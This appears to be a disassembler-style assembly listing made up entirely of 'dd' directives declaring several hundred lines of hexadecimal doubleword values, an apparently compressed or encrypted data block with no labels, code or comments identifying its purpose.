		dd 0ABDA1794h, 2986027Fh, 0F04A48F0h, 5DE170C3h, 0C14401Fh
		dd 9D026BD1h, 3C1E6F42h, 4158A09Ah, 1D5D7E95h, 0DD67BD5Fh
		dd 8CEE9Bh, 478B5538h, 3D387065h, 8A81B98Ah, 2C7A782Ah
		dd 0C652837h, 27E47080h, 2E9F0739h, 904AD09Bh, 0B54EA2EEh
		dd 0D06C51C9h, 57430B84h, 0F4E43C9Ah, 0FBF4DE00h, 7406388Dh
		dd 8453090Ch, 2458826Bh, 0B9F05471h, 67C5BE2Ch,	33B9E418h
		dd 6A430074h, 790F51F5h, 317F4793h, 80947ED4h, 35103A6Dh
		dd 365B0722h, 67974103h, 90837732h, 2D30A6A9h, 966048BEh
		dd 17CA472Bh, 27D06B64h, 353DB3C4h, 30142EE1h, 5F2C872Bh
		dd 0EA005822h, 0DA6ED8CAh, 4AB498E9h, 7C1020EFh, 0D2000771h
		dd 0C3AAB537h, 43043E7h, 3F641AF9h, 59D4E44Bh, 21E89400h
		dd 93CA8D1Eh, 80471CF6h, 0B614814Ah, 70AC625Fh,	4327B724h
		dd 1E984419h, 528964B8h, 7BE8E2F9h, 5DFE2503h, 0B0089BADh
		dd 0F2B6FA80h, 6BEF0146h, 571A388Ch, 34212A3Ah,	1C70A683h
		dd 0E6EB3869h, 0AB391283h, 0E10029FEh, 4AAC68A9h, 289BE819h
		dd 2E4B4CCh, 0C3EC479Dh, 7856A194h, 7AD12409h, 0B3FC07ACh
		dd 0D03E6DEAh, 69AEDF3h, 6C23C94Ah, 0E73D8A6h, 5AE611h
		dd 961E6D58h, 623FDFE9h, 0AC40D34Fh, 0F6B24074h, 56802C36h
		dd 9600005h, 0FA4DC33Ah, 135381Eh, 94F18907h, 0F5C079D7h
		dd 991DB870h, 0C2B10034h, 0D76A7DEDh, 74D1530Ah, 87169C36h
		dd 0C8305E19h, 19024868h, 21630CABh, 45C80D0h, 266780D0h
		dd 3E0B3182h, 934FD16Fh, 3CB83A74h, 51032554h, 5C457B96h
		dd 0BD1BA88Eh, 0CDCC17D3h, 0B6142269h, 73A0D8C4h, 8BE40D92h
		dd 0F7495D00h, 9F3AC635h, 0B6940088h, 0ABA68082h, 9E0B3DD2h
		dd 825EEC92h, 44CFD3BAh, 0F89D12BCh, 576164Eh, 0F64C20Bh
		dd 92403288h, 0FF43723Bh, 603184B8h, 7FC781CAh,	130E10CCh
		dd 7AB38B3h, 6192FF28h,	6C9B7AEDh, 0CF00DE58h, 65A4EA72h
		dd 63787F68h, 40397905h, 485271C2h, 3840089Eh, 248F8A6Eh
		dd 3940EFC4h, 58D73594h, 0CB948305h, 964C13Dh, 3A4638Bh
		dd 0DEDAF2CCh, 0D02985Ah, 45230149h, 0CA0DBA1h,	434BC961h
		dd 0EF890B4Ch, 598CECAEh, 0AC7EDA00h, 0C5528140h, 8E6813Dh
		dd 2AEC88C3h, 0FED28200h, 93C207CEh, 9EE40711h,	4EAD3EEh
		dd 0A464E4B7h, 0CDFE940Fh, 0ECD8809Bh, 4A67F5Bh, 0CEA5FFD1h
		dd 1EB8573h, 427D3010h,	88213F18h, 0AB08EA75h, 0BAD32E84h
		dd 50050000h, 0CD4B6355h, 1D482F88h, 87F4BB49h,	60B9133Eh
		dd 0B3A09C04h, 9E786A17h, 44157C92h, 90A10064h,	0D5D9174Ch
		dd 2A12B422h, 88D0D036h, 44257F8h, 82895AD4h, 0FAC8C0AAh
		dd 8F133DC6h, 60A39978h, 1CD37B14h, 4CC4000h, 52EC8C7h
		dd 3F002095h, 3EC3D44h,	0A516722Fh, 0AFB7105Bh,	7F847C60h
		dd 3A3A2558h, 9B027A68h, 50FCBE57h, 7FB05A32h, 0D3A0005Fh
		dd 0C6C1F570h, 45006198h, 0EC528431h, 9E21BFh, 2B8EFA3Fh
		dd 1DABA386h, 0A1000891h
		dd 28D7494Bh, 72D80050h, 81C9CDBh, 6F00CB57h, 559AB513h
		dd 191E48Ch, 0D7E6841Bh, 3C28BDE2h, 3E5807Ch, 0EC0A692Eh
		dd 0D13B0077h, 402BC6FDh, 8F08FA36h, 0B788C10h,	0E38B8223h
		dd 0F510A4C6h, 2905C238h, 0C8A79F42h, 7024E2A4h, 250938F6h
		dd 0AF0C8B8h, 0DBA00ACh, 138AA67Bh, 271129A8h, 5F3C79B8h
		dd 0A220E080h, 76C89328h, 8543C439h, 398F0182h,	0B807C0F2h
		dd 17D1E351h, 28F633D3h, 0A92D59E8h, 6C6A3D2Ch,	0B4024811h
		dd 3CF3E82h, 31404054h,	1280Ah,	0D558E50Dh, 68A66287h
		dd 18B38F09h, 4348049Ch, 622E508Dh, 8881551Ch, 0D0D5A644h
		dd 0E101F67Eh, 7FCDFACEh, 202F5352h, 8DF3D66Ch,	91B0F04Fh
		dd 0F85D4CA8h, 0E9165E09h, 2C76BC18h, 6DC92B00h, 0DBC0AFF4h
		dd 0DBB164Bh, 14B2F1h, 0AD2A2459h, 18205Eh, 0A84F2B86h
		dd 0EE85C2BAh, 0E71FB600h, 92CDE99Ah, 77AA2457h, 20AC64B4h
		dd 6EC09Ah, 0A9E27F59h,	89D6C99Bh, 0BAE55101h, 0D73464A8h
		dd 0C1008022h, 0E15F658Fh, 5D0044ABh, 0A7F46ACEh, 2490C93Ch
		dd 49C4DA0h, 0AC58EBAFh, 0A8828088h, 9FA5EAh, 0F77D200Eh
		dd 2773A44Bh, 39544320h, 2EF5B7A8h, 50903E85h, 6005D949h
		dd 1D12E39Ah, 48B90888h, 360767B2h, 3FD975h, 78233073h
		dd 0D82E547Fh, 160C9F56h, 2D31FCh, 0EAD62E10h, 6A8B9C9Ah
		dd 5DB6CA00h, 360803B9h, 0D27E01E2h, 7C5064A5h,	4C202EA6h
		dd 1378E68Ch, 7A433CFh,	60370248h, 0B2C49D6Fh, 524B557Eh
		dd 854154C8h, 0F6B1C980h, 0F8A671h, 3E4A7883h, 64FA55BEh
		dd 58042CB0h, 0D67E037Ch, 0A00004FDh, 0AF024470h, 0B774276Fh
		dd 42CBE31Eh, 4FAAEA02h, 40F935h, 3E294D54h, 570BB6F4h
		dd 71D51FA0h, 7378892Ch, 74C6086Ah, 2481DE00h, 23E683A9h
		dd 0B30A0050h, 8C53589h, 0C90A878Ah, 0E8B0F8C0h, 0E0952600h
		dd 4C2111F1h, 8B2E2050h, 6F482CDCh, 0F052E1C3h,	9802A83Eh
		dd 9E81265Dh, 1B2D0504h, 88CFCDB9h, 0C600A47Ch,	5A6061C9h
		dd 7D02910Fh, 2EAB26E7h, 0F5DA600Ch, 0DC00C692h, 52E50647h
		dd 0E0A04861h, 0CF5D393Bh, 97578F9h, 7642C820h,	0D1FA1468h
		dd 0B3DA7D04h, 0A8A91D09h, 0E2A41B01h, 0D85CFF32h, 820E85FBh
		dd 0AA5628DBh, 3417A4C6h, 7DDACC00h, 1356E2Ch, 0DB88E280h
		dd 2D60CDD3h, 9A3F00FCh, 626AA607h, 0BBFA0BC9h,	81074AAh
		dd 4B075C4Ch, 0F894C408h, 0C482ACD2h, 45A20990h, 0FD0FAF70h
		dd 6D9BD7C0h, 1C7B6F2Dh, 0FBE2E100h, 0E5C4E3ECh, 5C1097FAh
		dd 0CB104DEh, 0DABB3C00h, 70133Bh, 7981B57Fh, 294AC74h
		dd 9502AD78h, 9E63356Fh, 15F8A439h, 0FFA8D523h,	0FA022AB0h
		dd 2CE6B542h, 0BC93E088h, 0F4A55034h, 0C0A34A25h, 445D82ECh
		dd 5814E201h, 9E43B83Fh, 0F5078839h, 8FE50C2Ah,	88C92640h
		dd 4C00011Ah, 48CE28FAh, 583D8081h, 0EF2DC4B3h,	0CA013CCEh
		dd 0BFD7A5Ch, 447DD686h, 0BC835F00h, 9A92AD7Fh,	4649CD16h
		dd 20D18830h, 0F60D00AAh, 0B671F2C7h, 4E00462Dh, 0E58D2445h
		dd 9883B7DAh, 236A5B74h, 0A7B3E43Ch, 88517BCAh,	0EC3F1400h
		dd 3C5F754h, 4C61C485h,	0E6B06F07h, 2F76F1CEh, 55E006B5h
		dd 3E2A0008h, 46590409h, 0A60727E4h, 0ABE0369Fh, 0B48F3A40h
		dd 6C313F4Ah, 82AE3FB8h, 5BEE8110h, 0D7CFEA5Ah,	0E017900h
		dd 0CE1CEDBh, 977502E2h, 9FA07CE6h, 0CF0064F1h,	2BDACCD2h
		dd 498779E7h, 0F582F478h, 38567F1Ch, 679A7C05h,	0EE0E88ACh
		dd 0BE835912h, 3CBAAA10h, 8004E4E1h, 3B4D9E39h,	752FF079h
		dd 0B019D2E4h, 6C1F6D60h, 81F0B719h, 17A1A465h,	71928Eh
		dd 1A223F2Ch, 4F76E1E2h, 265468FBh, 4A1F58CFh, 0E8D02D0Bh
		dd 1D7376C4h, 82828FE5h, 38A5306Dh, 584BF840h, 24C01015h
		dd 0A9E80034h, 59BCBBFFh, 1AD74C2h, 0D3E28D75h,	405FFB08h
		dd 0E86723BCh, 61C0CD77h, 0CA9D86DDh, 522EEB2h,	0AB5613D5h
		dd 0C6B023D6h, 56E06F92h, 4D0567A0h, 0D039C001h, 0D916FC20h
		dd 5330009Bh, 78B78B8Dh, 0BC4AA02Ch, 0D5B9A420h, 0EAF60027h
		dd 1B8636A3h, 0A40213E1h, 163DC8Ch, 104D094h, 5EA19809h
		dd 32D12CBDh, 1B4C0380h, 0A8AB7EE3h, 27734E1Dh,	1066F6C5h
		dd 0BAE93A05h, 4F240CEh, 75C5D000h, 34834515h, 56294C05h
		dd 0C8E43263h, 41591F5Dh, 825A05E5h, 10C787CCh,	0E16FA06Ah
		dd 63DCAA2Eh, 2C2F502h,	80BC74B6h, 0D476FBB7h, 790012A7h
		dd 3BE98C03h, 26CCAB5h,	0DABDEA53h, 0EC566342h,	1D2A861h
		dd 1202B822h, 58766C43h, 8D37BBC0h, 4EB70500h, 0AB45CAD3h
		dd 0C75D386Ah, 4490A2ADh, 0E87D9C72h, 8704DB00h, 9EB00AA9h
		dd 722C98BEh, 626C1420h, 4281D8D3h, 6E265522h, 0B64A7FC0h
		dd 0B82802BCh, 370BF564h, 964040D6h, 0FEB38Ch, 0C5895CD0h
		dd 63604951h, 40F021E3h, 7A115064h, 3A6BE605h, 0D4D0F879h
		dd 2CB76D5Dh, 86A65h, 46765F78h, 8044DC3h, 246470EBh, 9BCBFEC0h
		dd 2A0A0081h, 0F543A1BDh, 8D0A838Eh, 0C13187B8h, 44C0CB12h
		dd 21DE7450h, 10252CC4h, 39B8DD0h, 6DB321E1h, 98003EE6h
		dd 79BE611Ch, 11B8F87h,	414F8CF7h, 304E355Dh, 3230222Ch
		dd 701A0876h, 0D4A09782h, 490D68Dh, 0BCF9C900h,	15CCC00Fh
		dd 0C5BD1CD5h, 0F4E4897Ch, 0F27AB8E4h, 838C063Ah, 7011AECAh
		dd 1A42C962h, 8080BC28h, 529DF0E5h, 78697301h, 0FE303E84h
		dd 0CD3DDC3Dh, 0C483B4C8h, 195E6112h, 64AD4030h, 3B600355h
		dd 0A8978E2Ah, 0C95F4DF1h, 0A52DF871h, 5E9FD30Eh, 9D83E0EFh
		dd 25A9AF7h, 568C3384h,	0CCD1E3ACh, 0E9FD9800h,	7BF85DECh
		dd 94950F4Bh, 0F924D367h, 4D48803Dh, 1B2E9A62h,	3947E01Ch
		dd 122564E0h, 5876CCh, 0ACE7AA8h, 42E0C123h, 165B4A00h
		dd 0BAF0C510h, 3DF50F4Dh, 0A212967Ah, 2D1B1214h, 0C32AA400h
		dd 4C2BC6E0h, 4E8A001Ch, 3EFA00A0h, 29C08D85h, 0E62E5C00h
		dd 7E50A491h, 600450BBh, 0ED150594h, 0E899488Ah, 78DE8078h
		dd 7EBB2Bh, 32CAC5AFh, 0E8507E6h, 87C32D05h, 3840813Ah
		dd 0D5DF7075h, 1D74033Dh, 0D03189A1h, 1CEDF580h, 81F94B02h
		dd 8B605A7Fh, 0F66405D8h, 549F4000h, 0B85C6D38h, 78E448D0h
		dd 4BB04126h, 80009464h, 0A6DF2F67h, 5CADA3h, 4FE61902h
		dd 78F80C37h, 2B385825h, 0AE58C80Ch, 0A5490484h, 8058AB73h
		dd 6614238Ah, 0BBEA2EEAh, 21039F00h, 7F051945h,	0C8ED50B7h
		dd 2928277Eh, 660028E4h, 0C278931Bh, 15F14C1h, 0AB2C25B0h
		dd 602F40ACh, 0F104F224h, 836FB3B1h, 9F8064F8h,	0D25EA793h
		dd 1C645905h, 3881D066h, 7DE9DF4Fh, 7C204061h, 0C8C55A4Dh
		dd 34008484h, 8568CABDh, 976DE6Ch, 8A6DB57Ah, 3F0A9000h
		dd 0F402FDC8h, 0E9EF6E5Eh, 38852CFh, 0AC70FADh,	0C2A0EE6Bh
		dd 65C919Dh, 0BA007C07h, 0C5909258h, 1643E89h, 304CC46Ch
		dd 0ED188A08h, 0C4206FF8h, 5FAA9C35h, 0C144C852h, 7C588400h
		dd 64E991FFh, 4E1C0B56h, 0EC094031h, 9E5C444h, 6252F401h
		dd 7DA8202Fh, 18028CFAh, 97A7C268h, 0E85AC0A9h,	0D9B801B5h
		dd 371330DBh, 0C8A8409Bh, 5F00F507h, 85BAC9B1h,	4759333h
		dd 529A1E98h, 298C8281h, 0BD40307Ch, 0BF9BB6h, 0CE86534Fh
		dd 0E88F324h, 290A5B00h, 2BF1576Eh, 437A0038h, 49D18455h
		dd 0B725B8A4h, 3E6051AAh, 8B179601h, 0CE4B5EF3h, 3A194920h
		dd 86A03831h, 18AC692h,	9E83D880h, 0C89444C7h, 9F1DBDCCh
		dd 6A022D17h
		dd 0FEC8CE9Ah, 92F04128h, 59584015h, 0BD07101Fh, 0C8B95720h
		dd 4B77BE00h, 52082FEAh, 0AB0B0E4h, 7E64F127h, 895F008Ch
		dd 48E002F7h, 39265390h, 0B640B4BAh, 332A76Ch, 6BE0A1EEh
		dd 25F80A51h, 0AA5C2A7Fh, 0CA187A9Ch, 0A7316482h, 0A5420066h
		dd 0C4342321h, 170074B7h, 0FD2B2C9Bh, 942FB6DAh, 42D44074h
		dd 9D0A94E7h, 6CB5CC63h, 0ED84C040h, 0DB1B1748h, 732C014Dh
		dd 60ECBAFEh, 570E3806h, 0A0FA9849h, 7B62CC3Ah,	52414B42h
		dd 0C4B224h, 34B9D6FBh,	3A6A43h, 0DB3D19E6h, 0CA524C91h
		dd 8558D100h, 6F57F951h, 3A3090F6h, 0E6768945h,	81710Fh
		dd 0E8F11AB0h, 5EDE618h, 2C692E3Ch, 3A01607Ch, 209FB301h
		dd 72459E2h, 20C8B24Eh,	0D3491C82h, 6488944Bh, 0BF190F6Ah
		dd 540CFC0h, 0F0C991D6h, 0A5EBD700h, 98819F89h,	4F8C9C07h
		dd 711E4780h, 4A001136h, 4DB384B7h, 19DCA132h, 2964E4C4h
		dd 487DD7h, 15B334ADh, 3C2E5371h, 0ED03480Eh, 0A4862BBCh
		dd 5CE8588h, 55BAA301h,	0EA7FDD81h, 14FCE20h, 0D1A940D4h
		dd 39707868h, 0C7304CD8h, 2E100662h, 369D1D7h, 353B68Eh
		dd 789E55A8h, 618BF002h, 62B3678Fh, 1C79BEh, 44A3AA14h
		dd 8E0EE5D2h, 933D52h, 95D6E024h, 0C1102C64h, 0AB9D0238h
		dd 6860DA6Fh, 0C7127E1Fh, 0D4B2C689h, 0D65F330Eh, 70C0C2A7h
		dd 8595AE7Bh, 9D55804h,	0D4B86F91h, 62B35580h, 607D1956h
		dd 0A9745390h, 0DEF46A00h, 0ADC92CACh, 1ED125CCh, 31537840h
		dd 1DBC3F53h, 49802598h, 0FD72F0D1h, 0C8910581h, 0CCAFDE4Fh
		dd 99002844h, 0FB101275h, 542CADh, 8F41BD15h, 7FD3A838h
		dd 0E89A527Ah, 0E2008478h, 0F0306597h, 5AB85E02h, 0BCB488F6h
		dd 0AA280600h, 0D45DE18Fh, 83602EB3h, 51E60019h, 9A1329F8h
		dd 0DC1D5800h, 92A76B90h, 0F28E12ECh, 98988803h, 50FE5900h
		dd 49F5B419h, 82971809h, 2EF4B179h, 6274EBE2h, 5E742B00h
		dd 0F1B40183h, 47350519h, 0BC7326B3h, 51158080h, 3C229FA1h
		dd 278142C9h, 0EE8877CCh, 0E43DC8CAh, 68AC9812h, 0A01CD002h
		dd 0E00D030h, 9E02EA50h, 0F543805Eh, 6FE1E92Eh,	89DE8128h
		dd 5C74D426h, 0BC901217h, 0C5B289Fh, 3F01A5D8h,	6D136F50h
		dd 0C8C87EFFh, 0D48301FDh, 0B8B23F27h, 7C34F8ACh, 2C306412h
		dd 0D8FC08D5h, 0C6148D80h, 87048931h, 2A979C12h, 4FDC20ABh
		dd 6A3EACF8h, 84900EC5h, 0FED00037h, 17AFA7Ch, 4044DC78h
		dd 2E6422E4h, 0DE0A9C20h, 6B1E033Dh, 3E0D03B6h,	5777CBE8h
		dd 0F3CD022h, 6336F6A8h, 3D941D82h, 0F512D440h,	3D845888h
		dd 5D8393F1h, 1B9E61A4h, 0F7FEABC0h, 8094B55Ch,	0D0174AC5h
		dd 7D933F25h, 65BA4300h, 6EBC91CFh, 99BE75Ch, 630CA25Eh
		dd 8758E8B4h, 343848BBh, 2D8FE90Eh, 0A1B3CE83h,	0DB4B0F91h
		dd 0FF638107h, 0CD775A4Eh, 16B63230h, 348F05FEh, 8468991Dh
		dd 74948094h, 0E43046B9h, 0F1834825h, 0AC414C71h, 3A6102D3h
		dd 8D405D06h, 0D8FF48B0h, 0DC0117AEh, 1F771C9Eh, 2B5652h
		dd 4A5921B0h, 0AA00A3E5h, 0BFE44C0Dh, 0B8D8CB92h, 5A89012Fh
		dd 78663BE2h, 84442F74h, 6A47111Ch, 7C4370F5h, 8D00AD44h
		dd 26CF7FEDh, 1BF1B21h,	0DB6BFF55h, 3494AC42h, 4D2E7838h
		dd 0A953DC37h, 0F608E22h, 180000Ch, 623A88F0h, 8900D142h
		dd 816D9EE8h, 0A3878D1Ch, 0F8B2DC84h, 0A3121303h, 81C04071h
		dd 72028619h, 6F9CC610h, 5D0CE0EAh, 0A07A1CCEh,	0B8254964h
		dd 0EF09FC64h, 88DA4FFEh, 0AE0186F4h, 825FE7AFh, 0A8009032h
		dd 80394B59h, 9B005D93h, 890B63Dh, 0EEBB0Ah, 94B87206h
		dd 2D528169h, 0D68E4012h, 644CF4h, 0D1C3658Bh, 0AD1217AAh
		dd 9AEF3A00h, 211BBEB7h, 0EE990043h, 0F883841Dh, 473F0B0Fh
		dd 0C86FAEE8h, 84B89B14h, 90E4A042h, 4021B74Bh,	0EC922003h
		dd 0C400B094h, 40AEAF0Ah, 878689h, 233B463Dh, 42C0E56Ah
		dd 40395D24h, 1928DE03h, 7460116Eh, 681C2DF4h, 465DB8h
		dd 163FF660h, 6CB3D682h, 4A0EC5Ch, 714381E4h, 541500C0h
		dd 5DC92F7Ch, 72C6F827h, 0D4610AFCh, 44EB10CEh,	85040125h
		dd 609D5E18h, 0FE8C6010h, 32C4AB8h, 2100D4C7h, 6A9F8FE8h
		dd 0B8573B9h, 2F025ABCh, 89C3A080h, 4334A7CCh, 2DC16941h
		dd 66FC4E9Bh, 3FA20CE1h, 2071F74Bh, 87979505h, 74F24149h
		dd 7B7D528h, 0CE64244Ah, 0C157F4EDh, 0E46528F8h, 7F02D571h
		dd 4458F2A7h, 900C441Bh, 88550341h, 366A731Ah, 839184B5h
		dd 5FD9FA31h, 30CAD040h, 52C78D0Eh, 70213742h, 8479CFD3h
		dd 9DDCB600h, 73AE4EB3h, 0F5DBE00h, 0ED548671h,	788405CCh
		dd 416B9D2Bh, 0D1FAB084h, 1CE13EE9h, 544C5E61h,	6E5000F6h
		dd 8492BA68h, 7007BC72h, 0EA3F4188h, 4F5730ACh,	3E5CC8CEh
		dd 20209B5Ah, 0B81C99C9h, 30D701F1h, 17A5CBBBh,	1C9C6C71h
		dd 0CF4026FDh, 0AAE86EC2h, 44AC964Fh, 0A67A40C5h, 1F2CCE17h
		dd 8736AC87h, 24E8C14Eh, 8903812Eh, 92A0FB5Eh, 0CE001261h
		dd 77B1B33Dh, 58B79B69h, 2818ACB4h, 24FE70B2h, 529A2A07h
		dd 97813E23h, 0DAF07243h, 49E9127Dh, 2698B8F1h,	230B501Bh
		dd 2051B8h, 0A80EB1D9h,	9E4F78FBh, 0D959C897h, 8770A5E4h
		dd 40E5022Ch, 488CDF17h, 20AE4BCFh, 267CDED8h, 0E300C370h
		dd 0FCF49EF5h, 0F01DDA3Bh, 0A5820572h, 0A2FB1230h, 0AAF20A84h
		dd 7658904Ch, 0ACA300E6h, 783B2CB2h, 0AB051D1Bh, 556989EAh
		dd 4166A0C2h, 0E02CE8ECh, 2E8998CBh, 0B8E02C74h, 90AC55DAh
		dd 165EFA54h, 303F64EEh, 6615A490h, 0A8BE58h, 0C03B2659h
		dd 2F6A86AEh, 1440821Bh, 13B028E0h, 0BFE56807h,	70559FA7h
		dd 0CA340481h, 49FE828h, 0F41C293Eh, 78009E94h,	0C88E5814h
		dd 0A0947D17h, 0A406FEh, 3D1A25A2h, 0BE6ECEE3h,	0D17CB89Dh
		dd 0A5C91FC1h, 4E65015Ch, 6F764D8Eh, 0E660A820h, 6C070097h
		dd 885A7190h, 0E4006F9Bh, 36F5BEF3h, 553679Dh, 0E87F81D8h
		dd 0F1CF2C9h, 23EB5FCEh, 0D83A0F4Fh, 18A2FA0h, 22675AACh
		dd 0E15D182Bh, 1C203E02h, 0A328C2h, 8D117427h, 55D26F1Eh
		dd 147C653Eh, 14D09Fh, 41FFD407h, 0FAD8EEh, 0F2A0483Ch
		dd 8C27AA52h, 7E249898h, 5909DCD9h, 3F80FE7Ah, 247DC12h
		dd 6AEC2D64h, 0D367005Eh, 603422C0h, 80ECB169h,	0DFB274BFh
		dd 3A00B64Ah, 9A4775E4h, 0B52699h, 582BAD8h, 0AB6D5A35h
		dd 61B400BDh, 69B62D7h,	339C2A77h, 0FE1318AAh, 0ECE34542h
		dd 0E0591612h, 0F2068FC4h, 60B7427Ah, 0EBF03821h, 48582C3Ch
		dd 0F628FBC6h, 1899DE00h, 0A20CFE67h, 5B0107AAh, 75D374Fh
		dd 0F564E009h, 0C09018F9h, 25583E00h, 0C375E9B0h, 0D309044Dh
		dd 0E4F92FEDh, 0BE000F98h, 0FACE9B6Ah, 0C435E8h, 0EA7B5A87h
		dd 21E43DECh, 0D6132CBEh, 719BCE4h, 7A6C2A4h, 0FCE9C00Bh
		dd 5539546Ah, 4EEF844Ch, 0A8E0E2ABh, 0CCD3881Fh, 0E14C802Dh
		dd 8321C04h, 25C3DD50h,	14C2E9B5h, 2758E740h, 0B880DC04h
		dd 0C0A2514Dh, 0F56EBF00h, 0ADC6B593h, 7C6CA10Bh, 4BDC0168h
		dd 85EC4A64h, 1790477h,	0B8A456C1h, 58A296B8h, 7D9D400Ch
		dd 0B8036CD0h, 4CA6D17Fh, 9C1BC0A9h, 6E030176h,	0F69AD586h
		dd 3C1820D9h, 0B8BD7E30h, 59685B6h, 3D92B8C9h, 17CC829Ah
		dd 5278D890h, 0BAC41195h, 0CFF60C40h, 82E1279Dh, 0D20048C4h
		dd 5E6FE656h, 91D67E46h, 0D7D40068h, 0BCB15913h, 0D8EBFA00h
		dd 0D6CA3689h, 83174087h
		dd 5DD5C101h, 0C2C94A82h, 0B50C316Eh, 0E8002BB8h, 0CE3F652Bh
		dd 2DB67892h, 0DCE42A52h, 37A94000h, 0C307E933h, 2436E28Bh
		dd 24480E24h, 0F0591A67h, 60CEE960h, 9E10A09Dh,	7EDB2E19h
		dd 4DB72C62h, 0A58D1D08h, 0AF023064h, 0CE1CB8FFh, 95DC8115h
		dd 0DBCC2E80h, 0C6010573h, 0F2D83786h, 80F23914h, 59BEEED5h
		dd 0BBA5A4h, 0FC936690h, 0DA912CA8h, 0C3C6B062h, 405476C4h
		dd 43129297h, 30F39105h, 58F25A64h, 0EFA5CE09h,	44044F78h
		dd 1985C3E8h, 4BF61580h, 92362709h, 9F9CC4h, 33EE37F0h
		dd 64D50D26h, 3EA45C83h, 0D7984020h, 56C90066h,	9545AD42h
		dd 0D4A0B67Fh, 0FC48A875h, 53240B24h, 0B9C85973h, 0A9623582h
		dd 0E41536h, 1C46411Ch,	5CF4BB80h, 0FA828A45h, 0E7D307B5h
		dd 0C0A08C58h, 0DEEB84C4h, 5556AE13h, 8FEC6CC9h, 90C0023h
		dd 0C7255B28h, 0C9581342h, 289F26B0h, 0D03FAC8h, 8854F6E3h
		dd 17E593ACh, 3F2D604h,	7823267Ch, 0D0DE738Ah, 0AAE9B782h
		dd 254C449Bh, 285130BDh, 7AD49830h, 0B85D057Bh,	0A019529Dh
		dd 0DE2806E4h, 43007804h, 3E563C8Bh, 4ACBA02Fh,	0E050A094h
		dd 0FD3FD900h, 6D86DF3Bh, 4B8A1D85h, 0E6EBC00Bh, 0BF40ED23h
		dd 0EFD65Ch, 0E14CD970h, 905022h, 0A0730360h, 0EED2AA3Ch
		dd 42E48700h, 6163E979h, 50D96C64h, 5E717566h, 0FD8911C0h
		dd 26606F0Ah, 1EF3020h,	0BCD29F66h, 3F819EA4h, 2A066AC0h
		dd 30E994C2h, 0D9183E98h, 26005AD1h, 75A85D6Bh,	1887069Fh
		dd 215C989Eh, 0C12BB64h, 91005794h, 0B03AD392h,	1CF10013h
		dd 0F6524BC4h, 0CD037AC1h, 53BF0B02h, 35B09090h, 78BD1C18h
		dd 8648F01Dh, 0D324E649h, 8B00E5A1h, 3F682193h,	0E18D06E8h
		dd 29BA1D66h, 7147B90h,	3908B53h, 24390E4Bh, 57910687h
		dd 0D9DC40AEh, 0AA035BFCh, 0E06F9A13h, 7B9C916h, 3B63C670h
		dd 1D0C692Ah, 0ED5833B5h, 0C8EFDB00h, 0E446A398h, 78AC0005h
		dd 0D78D180Dh, 59058275h, 38FDE6A8h, 714F86h, 300A4CF9h
		dd 0E8D4296h, 3292050Eh, 0B1E62CBEh, 3B3F05EDh,	21424C96h
		dd 81B098C8h, 5233E841h, 3C30E0BDh, 57C40030h, 0FD5CAC82h
		dd 16145DC2h, 82D43AE2h, 4042AB2Ch, 613B97BCh, 3E365137h
		dd 0B363138Bh, 2D190E43h, 390F4559h, 6E21B05Fh,	407E0488h
		dd 26AAB914h, 93EA10B0h, 0D4E083C0h, 0C104F88Ch, 0FBB70F61h
		dd 767B3AC0h, 5EC8C8B5h, 1E60C380h, 0F8A14E0Fh,	2F930C2Ah
		dd 8C49E420h, 7B22C201h, 9ADC8065h, 0EEA9F0h, 1F48411Ah
		dd 0C5E1D2D0h, 0BDBED9C3h, 693901D4h, 5E97F635h, 0CD69805Dh
		dd 90C38CCEh, 0D2BF588Dh, 7305A600h, 0DCFF9609h, 68F43Eh
		dd 2A7AE86Fh, 702A871h,	8D1A54EBh, 0A7BCF381h, 2DD52EC0h
		dd 69B92030h, 0D7B59Ch,	4A90D30Ah, 32ADC02h, 0C1FDE51Eh
		dd 240D9301h, 69312F40h, 0F4C8D0h, 7C466222h, 0D2E5356Dh
		dd 0C1C6E334h, 1AA58400h, 6F484DBh, 6C8E49C3h, 2700C15Ah
		dd 0B2C9D0C6h, 3A4D1866h, 9452A221h, 0CD480172h, 62523ADDh
		dd 190FCFBh, 0E513D05h,	14001D72h, 82EDAFC3h, 0AEAD00F0h
		dd 22A174F7h, 592448CDh, 15003C63h, 87991364h, 0A83D5498h
		dd 65C00DEh, 0EB566C41h, 35F6C93Bh, 0B4699C0h, 0BB9897h
		dd 3DFDF828h, 0AB236531h, 2F2A4703h, 0F888848Eh, 0E9E7BF0Dh
		dd 6C54898Eh, 75ABB961h, 0EE844039h, 840E05A9h,	502034h
		dd 0B81F6123h, 0D4F8AAh, 0CD302BF4h, 6BE683Eh, 2D30F4ACh
		dd 53631142h, 0C94CA05Eh, 3CC7B013h, 316CC1BEh,	9A07A768h
		dd 0F02F49DCh, 6080A544h, 0AC42372h, 0B2DDD2E6h, 8070B7C8h
		dd 6CE54B46h, 0B8596360h, 2E844352h, 5C4A42h, 5E054F46h
		dd 0AE016378h, 1F592AECh, 0EC488BE1h, 2B421D30h, 0D1A092Dh
		dd 4DD8D898h, 4EB39207h, 0BDC6F445h, 35980019h,	0A8819720h
		dd 7B1D6E41h, 6F81173Eh, 9F4A6C2Bh, 0EA7A6BE8h,	4C4C9072h
		dd 2D00448Eh, 43180668h, 395295E1h, 2FEF0084h, 99190D3Dh
		dd 1AF68861h, 803CE7E4h, 0BF5780D2h, 0F13474E9h, 40150F0Dh
		dd 620086E8h, 0BEB6D2CEh, 909199C9h, 1891EE8h, 0EA1153D8h
		dd 91F2E758h, 0DF1EA4C0h, 66D64AEh, 89335395h, 21CA4030h
		dd 1F018A4h, 397BC626h,	0ED1C072Ah, 60DAE9h, 0E50194FCh
		dd 53BE72C8h, 5F1ECA6h,	14AF9E8h, 4012066Eh, 830BA4C2h
		dd 63BE8F08h, 0B33BD1B9h, 368561BAh, 0C10C6A16h, 6047AE80h
		dd 7204C280h, 990DACFEh, 0FC2374C8h, 0BEE70BBBh, 140186DEh
		dd 426C9E74h, 0B1205EF8h, 28EE6598h, 0CF4453Bh,	0B71D40FDh
		dd 0D20039D9h, 0F8AEC988h, 0F2B2D446h, 3C3D79EBh, 0FBA4C60Dh
		dd 135E1243h, 5F94602Ch, 53001AC5h, 0EE500DDEh,	6399072Bh
		dd 3A9899B7h, 0A587B2C8h, 0E6CF8D00h, 0A8EEB41h, 16460051h
		dd 0BE5ADB9Bh, 6C92D8B8h, 603D4304h, 54C0DA73h,	915D7405h
		dd 0E96E80E0h, 0BACA68D6h, 5C16B112h, 0E4A06C00h, 9FC7A2Fh
		dd 0A87784BEh, 27DA7805h, 0E1C2B3D4h, 0ADDB612Ch, 0F808E716h
